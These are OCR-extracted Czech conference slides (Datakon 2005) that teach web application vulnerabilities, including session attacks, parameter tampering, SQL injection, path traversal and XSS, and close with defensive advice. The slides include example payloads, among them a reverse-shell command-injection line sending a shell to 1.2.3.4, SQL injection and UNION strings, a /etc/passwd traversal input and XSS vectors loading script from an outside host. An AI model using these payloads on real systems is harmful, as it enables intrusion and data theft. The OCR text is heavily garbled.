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Co jsou webov é aplikace

e Architektura klient-server
— Vvnitfni struktura serveru nas ted nezajima

e Klient je bézny webovy prohlizec (MSIE, Firefox atd.)

e UzZivatelské rozhrani realizovano ve stylu WWW
— HTML, CSS (XHTML, XSL...)

— JavaScript (pripadné Java applety, ActiveX...)

e Komunikace pomoci HTTP a HTTPS pres rozlehlou sit
— typicky Internet/extranet nebo rozsahly intranet

e Nezamenovat s webovymi sluzbami

— ovSem nékteré webové aplikace mohou pouzivat webové sluzby
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Bezpe cnostni specifika webovych aplikaci |

e Provoz klientské Casti obvykle zcela mimo kontrolu ,vlastnika
aplikace" (narozdil od serverové Casti)

e Klientsky software (Cili prohlize€) sdilen rliznymi aplikacemi
— tyto aplikace si vzajemné neduveruji
— separace aplikaci je na bedrech prohlizeCe (ehm, ehm...)

e Komunikace probiha skrz nedivéryhodné prostredi

— klient — domaci Wi-Fi — ISP klienta — paterni sit 1 — paterni sif 2 —
ISP serveru — server (tady to muze pokracovat)

e Data jsou pfi zpracovani ruzné kédovana a dekédovana
— databaze — XML — XHTML — HTTP — DOM — uzivatel
— uzivatel — DOM — URL encoding — HTTP — SQL — databaze
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Bezpe cnostni specifika webovych aplikaci Il

e Weboveé aplikace jsou Casto pristupné Sirokému okruhu osob
— verejneé pristupna cela aplikace (anonymné, s otevienou registraci)
— verejné pristupny vstupni bod (pfihlasovaci formular)

e V mnoha pfipadech jsou zpfistupnovany interni systémy
— nepfipravené na provoz ve vysoce rizikovém prostredi!

e Webové aplikace jsou velmi rliznorodé, ¢asto ,lidova tvorivost"

— jak fika kolega Karel Miko: ,kdyz mate aplikaci na zakazku, tak mate na
zakazku i jeji chyby” (v€etné bezpecnostnich slabin)

— ovSem standardni aplikace Ci platformy také nejsou bez chyb

e Utoky obvykle vedeny aZ na aplikacni vrstvé
— mimo zorné pole obrannych mechanismi na nizSich Grovnich
— Sifrovana komunikace + firewall (nebo IDS Ci IPS) = Hlava 22
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|dentifikace a autentizace uzivatell

e NejCastéjSi metodou je jméno a heslo zadavané do formulare
— vSechny klasické problémy s autentizaci pomoci hesel
— ,hovy problem* — spyware, keyloggery a podobna havéet

e | Spatnou véc (hesla) I1ze dale pokazit. . . (to plati obecné)
— absence detekce a prevence hadani hesel
— rozliSeni chybného jména od spravného jména a chybného hesla
— omezeni mnoziny platnych hesel (PINy, ,horizontalni Gtok®)
— zapamatovana hesla v prohliZzeci

e Ostatni metody méne casté
— ...ale i principialné kvalitni metody Ize pokazit

— priklad 1: ovérovani znalosti privatniho klice pomoci generovani
digitalniho podpisu pro konstantni vstup

— priklad 2: akceptovani klientského certifikatu od nevérohodné CA
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Kontext uzivatelskych seanci

e HTTP je sam 0 sobé bezestavovy protokol
— neexistuje spolehlivy vztah mezi uzivateli, TCP spojenimi, IP adresami
— u kazdého jednotlivého poZzadavku je tfeba urcit, ke které seanci patfi

e Re3eni: klient do kazdého pozadavku explicitné vklada identifikator
aktualni seance ziskany (obvykle) od serveru

— cookies — nejcastéjSi metoda, napfr.
ASPSESSIONIDQQABSCTSR=GNAGAAHDFODJFLDMEEBBMPNJ

— session cookie vs. persistent cookie

— Casti URL, napfr.
https://www.aplikace.cz/funkce.asp?session=12345678
https://www.aplikace.cz/12345678/funkce.asp

— skryta pole formularl
— (std. HTTP autentizace apod. — autentizace uzivatele pri kazde operaci)
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Utoky na uZivatelsk é seance

e Session hijacking: zjisti-li nepritel identifikator cizi seance, muZe do
ni vstoupit a provadet operace cizim jménem

e Prozrazeni identifikatoru seance
— odposlouchavani (absence pfiznaku secure u cookie)
— Udaj v hlavicce Referer pri prechodu na jiné sidlo, historie browseru

e Uhadnuti identifikatoru seance
— jsou-li generovany predikovatelnym zplsobem (napf. mala cela ¢isla)
— nekdy Ize dokonce vygenerovat zcela fiktivni seanci

e Session riding: vyuZiti automatického doplriovani Gdaju o seanci
(cookies) a moznosti vstoupit ,doprostred” aplikace

— nepritel zmanipuluje browser obéti k pfechodu na URL néjaké funkce
aplikace (pokud mozno destruktivni)

— zvlast pikantni v kombinaci s SSO
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Ochrana komunikace mezi klientem a serverem

e Kryptograficka ochrana komunikace (S v HTTPS) je pro vytvoreni
bezpecné weboveé aplikace podminka vétSinou nutna, ale nikoli
postacuijici.
e Chybné nebo podezrelé certifikaty
— certifikaty vydané néjakou podivnhou CA (nebo rovnou self-signed)
— certifikaty s jiz proSlou platnosti, kratké a slabé klice
— Spatné kofenové a jiné CA certifikaty

e Mixovani zabezpeceného a nezabezpeceného obsahu

— Casto pri vstupu do aplikace: napr. uzivatel vstupuje pres
www.aplikace.cz (HTTP) a je automaticky pfesmerovan

— extrém: prechod na HTTPS aZ po vyplnéni prihlaSovaciho formulare!

e UzZivatelé tomu nerozumi a vSechno bez premysleni odklikaji
— ...ajsou v tom jesté utvrzovani vyse popsanymi problemy
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Utoky proti diiv &fivému serveru

e Klientsky software je plné v moci uzivatele (i zIeho)

— nepritel miZe Cist, pozménovat, modifikovat, odstranovat, nebo
opakované pouzivat veSkera data, ktera jeho klient dostane od serveru,
nebo naopak jeho klient posila na server (HTTPS je bezmocné!)

— stejné dobfe mUze generovat nova data, at uz odvozena od realnych,
nebo zcela fiktivni, a vkladat je do komunikace mezi klientem a serverem

— muze potlacit ¢i zmanipulovat jakékoli operace provadéné na klientovi
e Manipulovat je mozno opravdu se vsemi daty, se kterymi klient

pracuje. ..

— URL - komponenty cesty, parametry

— pole formularl véetné skrytych

— skryté ¢asti HTML dokumentl (komentare), skripty

— cookies, dalSi tdaje v hlavickach HTTP (User—-Agent)
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Manipulace s URL

e URL tampering: pozmenovani casti existujicich URL (zejména
parametrl)

e Forceful browsing: vynuceny prechod na explicitné zadané URL
v ramci aplikace bez pouziti hyperlinku
e Je toto vSechno v aplikaci radné oSetreno?

— meéjme aplikaci, ve které jsou URL tvaru
https://www.aplikace.cz/zobraz_zaznam.asp?7id=1287

— nepfitel mbze zkusit zménit identifikator zaznamu
https://www.aplikace.cz/zobraz_zaznam.asp?id=1288

— ...také muze zkusit hledat staré verze skriptu
https://www.aplikace.cz/zobraz_zaznam.asp.old

— ...nebo najit jiné, bézné nepristupné funkce
https://www.aplikace.cz/admin.asp
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Manipulace se skrytymi hodnotami

o Nepritel mize zménit jakakoli data, ktera si u ného server ,,uschova“
— skryta pole ve formularich, cookies. . .
— ,obfuskace” neni dostateCha ochrana

e Pozadavek Ize modifikovat i na cesté mezi prohlizeCem a serverem

— meéjme aplikaci, kde klient generuje poZzadavky tvaru (zkraceno)
POST /objednavka.asp HTTP/1.1...
Cookie: Zakaznik=b56789; Nakupni_kosik=1234:PrvnjED
%20druh?,20zbo’,BE/4ED:5690:0,2345: Jin/,FD%20druh’,20zbo
JBE/LED:1990:0,celkem: 2580

«— (prazdny radek)

operace=pridat_do_kosiku&objcis=3456&nazev=N},ECco
%20%FAp1nyECY%20jin/E9ho&cena=17990&sleva=0

— co se stane, kdyZ nepfitel pozméni nékterou z oznacenych ¢asti? muze
nakupovat na cizi t¢et? muze ménit cenu zbozi ¢i celého nakupu?
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Manipulace s hodnotami ve formul arich

e Nepfitel mlze zadat do formulart jakékoli nesmysiné hodnoty

— omezeni dané strukturou a parametry vstupnich poli (max. délky hodnot,
vyCty hodnot u vybérovych poli) I1ze obejit

— omezeni implementovana skripty (svazanymi s udalostmi onkeypress,
onblur, onsubmit apod.) Ize také obeyjit
e Je mnoho zpusobU, jak obejit kontrolu vstupl na klientovi
— pozmeénovani dat béhem komunikace (viz predchozi slajd)
— Uprava HTML dokumentu obsahujiciho formular
— manipulace s daty pomoci skriptoveého debuggeru

— libovolny prohlize€¢ umoZnuje operativni spousténi vlastnich skriptu
pomoci URL schématu javascript:, napf.
javascript:document.forms[0] .cena.value=1,undefined
javascript:document.forms[0] . submit () ,undefined
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Utoky vyuZivajici vkl adani fidicich dat

e Implementace webovych aplikaci komunikuji riznymi jazyky

— SQL pfi komunikaci s databazemi

— HTML (+ JavaScript) pfi posilani dat na klienta

— ajiné (shell, LDAP, XML, XPath, samotné HTTP...)
e Kazdy pouzivany jazyk ma specifickou syntaxi a specifickeé ridici

znaky Ci sekvence znaku

— zejména zajimaveé jsou znaCky menici mod jazyka z dat na prikazy

— napr. apostrofy v SQL, < a > v HTML (a XML) atd.

— nikdy nevime, jaka temna zakouti Ize v parseru nalézt

obecna poucka: je tfeba explicitné povolovat a ne explicitné zakazovat!

e Kus dat vlozeny do (kon)textu v nékterém z téchto jazykt muze

nabyt naprosto neoCekavaného vyznamu

— ...tedy z pohledu tvirce dané aplikace
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SQL injection |

e SQL injection: situace, kdy jsou neduvéryhodna textova data bez
patficné kontroly vkladana doslova do SQL dotazu ¢i prikazl

— nepritel miZe pozménovat dotazy a dotazovat se na data, ke kterym
vlibec nemél mit pfistup (napf. ¢isla cizich kreditnich karet)

— nepritel muZe nékdy dokonce i data v databazi neopravnéné modifikovat,
spoustét programy atd.
e Nazorny priklad jednoduché zmeény dotazu

— méjme aplikaci, ktera pro vstup ,Josef Novak"“vygeneruje dotaz
select * from Osoby where Jmeno=’Josef Novak’

— predpokladejme, Ze aplikace je ochotna do dotazu doslovné a beze
zmeény viozit Gplné jakakoli vstupni data

— pokud nepfritel zada jako vstup ,? or ??=?"pude vysledkem dotaz
select * from OUsoby where Jmeno=’’ or ?’=?’
S podstatné odliSnym vyznamem
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SQL injection |l

e Lze se dotazovat i na jiné tabulky

— nejlépe pouzitim spojky union, napr.
select * from OUsoby where Jmeno = ’’ and 1=0
union all select ’a’, ’b’, sloupecl, sloupec2, ’c’
from Tajna tabulka--’

— takeé Ize pouzit vnorené dotazy, joiny. ..
— schéma databaze lze uhadnout nebo zjistit z metadat

e Nekdy aplikace vraci jen cast pozadovaného vysledku dotazu
— jen nékolik fadek — postupné iterovat podle hodnot klice
— jen nékolik sloupct — konkatenovat nebo poloZit vic samostatnych dotazl

e Blind SQL injection: SQL injection, pri které se vraci informace jen
postrannimi kanaly (vyskyt chyby, doba zpracovani poZzadavku atd.)

— rozdelit informaci na jednotlivé bity a dotazovat se postupné
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SQL injection Il

e VlozZeni apostrofu neni nezbytna podminka

nedivéryhodna data nemusi byt obklopena apostrofy (Ciselné tdaje,
pfipadné jména sloupcd, tabulek atd., i celé ¢asti dotazu)

viz obecnou poucku o temnych zakoutich parseru

e Neni treba se omezovat jen na Cteni dat

nékteré dialekty umoZznuji dotaz transformovat na sekvenci dotazli, DML
prikazl, volani uloZenych procedur aj. (pfimo nebo nepfimo pres
systémovou funkci a la xmlgen.getXML v Oracle)

databazoveé stroje poskytuji fadu zajimavych systémovych procedur a
funkci (xp_cmdshell v MS SQL, baliky utl_* v Oracle...)

|ze GtoCit na slabiny samotného databazového stroje
|ze UtoCit na okoli databazového serveru (Casto vnitfni sit)
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DalSi mozZnosti vkl adani pfikazu

e Sestavovani shellovych prikazU

— napr. odesilani elektronické posty na jmeno@domena. cz pfikazem
/usr/lib/sendmail -o0i ’jmeno@domena.cz’

— zadanim textu obsahujiciho fidici znak (apostrof, ale pozor na Bash 1.x!)
Ize do generovaného prikazu vlozit dalsi kod, napf. ,reverzni shell
/usr/lib/sendmail -o0i ’jmeno@domena.cz’;

(sleep 9999|telnet 1.2.3.4 25|sh 2>&1| telnet
1.2.3.4 25) </dev/null >/dev/null 2>&1 &#’

e MoZnost nahravat na server soubory pod libovolnymi jmény a
pozdeji na né pristupovat

— staci vyrobit skript v patficném jazyce (napf. ASP), nahrat ho na server
s vhodnym jménem (xyz . asp) a pristoupit na odpovidajici URL
— server predlozeny skript vykona

e A tak dale...

Bezpecnostni slabiny WWW aplikaci — Datakon 2005 18



Manipulace se jm ény souborU

e Neduvéryhodna data mohou byt také pouzita jako jména soubor(
nebo jejich Casti

soubory se zpracovavanymi vstupnimi daty
soubory obsahujici Sablony generovanych stranek
totéz se ostatné deje i primo v bézném HTTP serveru

nepritel mizZe dosahnout prace se soubory, se kterymi se pracovat
nemeélo (vyzrazeni divérnych dat, poskozeni soubort, nepfimy Gtok na
kod, ktery s daty pracuje — tzv. second order attack)

e Path traversal: Gprava pouzivaného jména souboru tak, aby byla pfi
jeho zpracovani opusténa vyhrazena oblast souborového systému

mejme napr. tuto pomerne frekventovanou konstrukci v jazyce PHP
if (file_exists...) include("$dir/$parametr.php");

nepfitel zada parametr . ./../../../../../etc/passwd’00
kombinace se specialnim vyznamem znaku s kodem 0
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HTML injection

e HTML injection: situace, kdy jsou nediivéryhodna textova data bez
patficné kontroly vkladana doslova do generovanych dokumentu
Vv jazyce HTML

— Casto se vyskytuje pfi vypisovani stavovych (zejména chybovych)
hlaSeni, kdy je do dokumentu opsana hodnota zadanych parametrd,
napf. hlaSeni ,0soba Nesmysl nebyla nalezena!“se mize
promenit na hlaseni ,0soba <tagl> nebyla nalezena!®

— lze samo o sobé pouZit pro vytvoreni faleSného obsahu dokumentu
— zejména zajimava je moznost vkladani skriptl, viz dale

e Odbocka: jak prohlizec ur€uje pristupova prava skript?

— zhruba plati, Ze pokud byl skript ziskan ze sidla S, pak ma pristup ke
vSemu z S (nactené stranky, cookies, XMLHTTP)

— tento mechanismus se nazyva same origin policy (SOP)
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Cross-site scripting |

e Cross-site scripting (zkratka XSS): vyuziti HTML injection
k ,propasSovani“ skriptt do cizi webové aplikace

— prohlize€ povazuje skript za autentickou soucast aplikace a SOP i pfidéli
pristup ke zbytku aplikace

— takovy skript mlZe krast jména a hesla, cookies a jina data
— muZe také aktivné provadét operace v ramci aplikace
— muze za chodu prijimat dalSi instrukce

e Skripty Ize do dokumentu vkladat riiznymi zplisoby

— za&kladni cesta je tag <script>, umoznuje mj. nacitat celé soubory ze
zadanych URL, napf. ,0soba <script src="https://
www.zly-web.cz/skodic.js"> nebyla nalezena!"

— lze pouzit atributy rliznych tagl, specialné onx*
— automaticky nacitana URL (obrazky, stylesheety)

Bezpecnostni slabiny WWW aplikaci — Datakon 2005 21



Cross-site scripting |

e Pokusy 0 XSS Ize rizné maskovat
— méné obvyklé zplsoby kodovani textl
— specifické vlastnosti konkrétnich parsert
— priklad: <img src="adresar/soubor. jpg"style=
background:url (&#106ava&#115cript:alert (666))>
e Skripty mohou od nepfitele k obéti putovat rliznymi cestami

— reflected XSS — aplikace opisuje své vstupy, obét musi byt napr.
zmanipulovana k navsteve zvlastniho URL

— stored XSS — jeden uzivatel aplikace skript vloZi do néjakych dat a
aplikace ho neopatrné opise, kdyz si obét prohlizi data (diskuse, e-mail,
e-banking!)

— DOM-based XSS - zvlastni pripad, kdy s daty neopatrné manipuluje
primo kod na klientovi (viz téZ nékteré nedavné slabiny v Mozille)
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Dalsi moznosti vkl adani ridicich dat

e HTTP response splitting: nepritel priméje server, aby do hlavicky
(typicky Location) opsal zadany text véetné konct fadek a tak
svou odpoved rozdélil na dve

— dalSi dotaz od klienta pouZije druhou cast rozdélené odpovédi
— otraveni obsahu HTTP keSe
— zrcadlovy obraz na strane klienta, tzv. HTTP request smuggling (zly
skript + XMLHTTP), téz analogicky tradicni probléem s FTP
e DalSi dotazovaci jazyky
— LDAP - Ize napf. ménit dotazovanou tfidu objektu
— XPath — Ize poslepu (1) ziskat cely dokument

e Externi entity v XML
— XML parser je donucen precist zadany soubor

e A tak dale...
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A 4

Zaver

e Zakladnim spoleénym rysem vétSiny popsanych problémd je
neopatrna prace s neduvéryhodnymi daty

— vSechna data od klienta (pfimo ¢i nepfimo) jsou nedtvéryhodna

— u vSech vstupnich dat vZzdy kontrolovat/zajiStovat syntaxi (format) i
sémantiku (smysluplnost v daném kontextu, pristupova prava)

— specifikovat povolené hodnoty, nikoli naopak

— vV pripadé potfeby data kodovat Ci jinak transformovat, ale opatrné
(cviCeni: odstrante ,text* z  tetextxt®)

e Monitorovat anomalni stavy a chovani aplikace
— udrZet si naskok pred nepritelem

e Existuje mnoho dalSich typt slabin, které se vyskytuji i ve webovych
aplikacich, ale nebyly diskutovany

— klasické problémy jako preteCeni pole, race condition. ..
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A to je v Se, pratele...

Dotazy?
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